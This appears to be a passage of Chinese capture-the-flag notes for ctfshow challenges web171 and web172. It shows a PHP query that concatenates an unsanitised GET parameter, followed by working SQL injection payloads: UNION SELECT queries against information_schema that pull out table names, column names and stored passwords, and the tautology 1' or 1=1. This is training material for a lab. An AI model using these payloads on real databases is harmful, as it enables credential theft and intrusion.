web171
sql语句 $sql = "select username,password from user where username !='flag' and id = '".$_GET['id']."' limit 1;";
方法一:联合注入(union select)
判断闭合方式,本题为单引号闭合
查询表名:
1' UNION SELECT 1,table_name,3 from information_schema.tables where table_schema='ctfshow_web'--+
查询列名(字段名):
1'union select 1,column_name,3 from information_schema.columns where table_schema='ctfshow_web' and table_name='ctfshow_user'--+
查询字段值:
1' UNION SELECT 1,password,username from ctfshow_user --+
方法二:万能sql语句(1' or 1=1)
在进行判断时,永远为true:1' or 1=1
web172(联合注入)
进入